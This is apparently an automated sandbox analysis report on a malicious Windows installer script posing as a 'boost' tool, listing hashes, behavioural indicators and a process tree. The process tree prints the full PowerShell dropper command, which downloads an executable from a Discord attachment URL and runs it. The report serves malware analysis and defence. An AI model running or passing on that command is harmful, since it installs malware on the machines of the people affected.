c16fb37174db73f6d6070a87c43beda40357452e1e7ca344fe457b836c9d6976

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 15:45

Target

tool-boost-funk-boost/install.cmd
Size

1KB
MD5

855d939ccba31eea9642590da637b185
SHA1

c776222f87406ebaf15b8907808623e4f5624d0c
SHA256

df728f23ff74320e4cf317c33470602f160132aecff1416692b403d3ab17062d
SHA512

9dd853e8f1cba2ebc87ccee3ea391cc2517e842c94d201bb3232e6b16177feebb35daf078d41da5fc3fb2377d7246750dfc61c707cb9d160a4f9ebeba50c3936

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/1186759970017005689/1203466731985829998/boost.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4332	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4332	powershell.exe
4332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4332	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3280 wrote to memory of 4332	3280	cmd.exe	83
PID 3280 wrote to memory of 4332	3280	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tool-boost-funk-boost\install.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://cdn.discordapp.com/attachments/1186759970017005689/1203466731985829998/boost.exe';$file='boost.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4332

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a2onylxc.dzb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4332-0-0x00007FFDB2F23000-0x00007FFDB2F25000-memory.dmp

Filesize
8KB

Download
memory/4332-1-0x00000258BBCF0000-0x00000258BBD12000-memory.dmp

Filesize
136KB

Download
memory/4332-11-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

Filesize
10.8MB

Download
memory/4332-12-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

Filesize
10.8MB

Download
memory/4332-13-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

Filesize
10.8MB

Download
memory/4332-14-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

Filesize
10.8MB

Download
memory/4332-17-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

Filesize
10.8MB

Download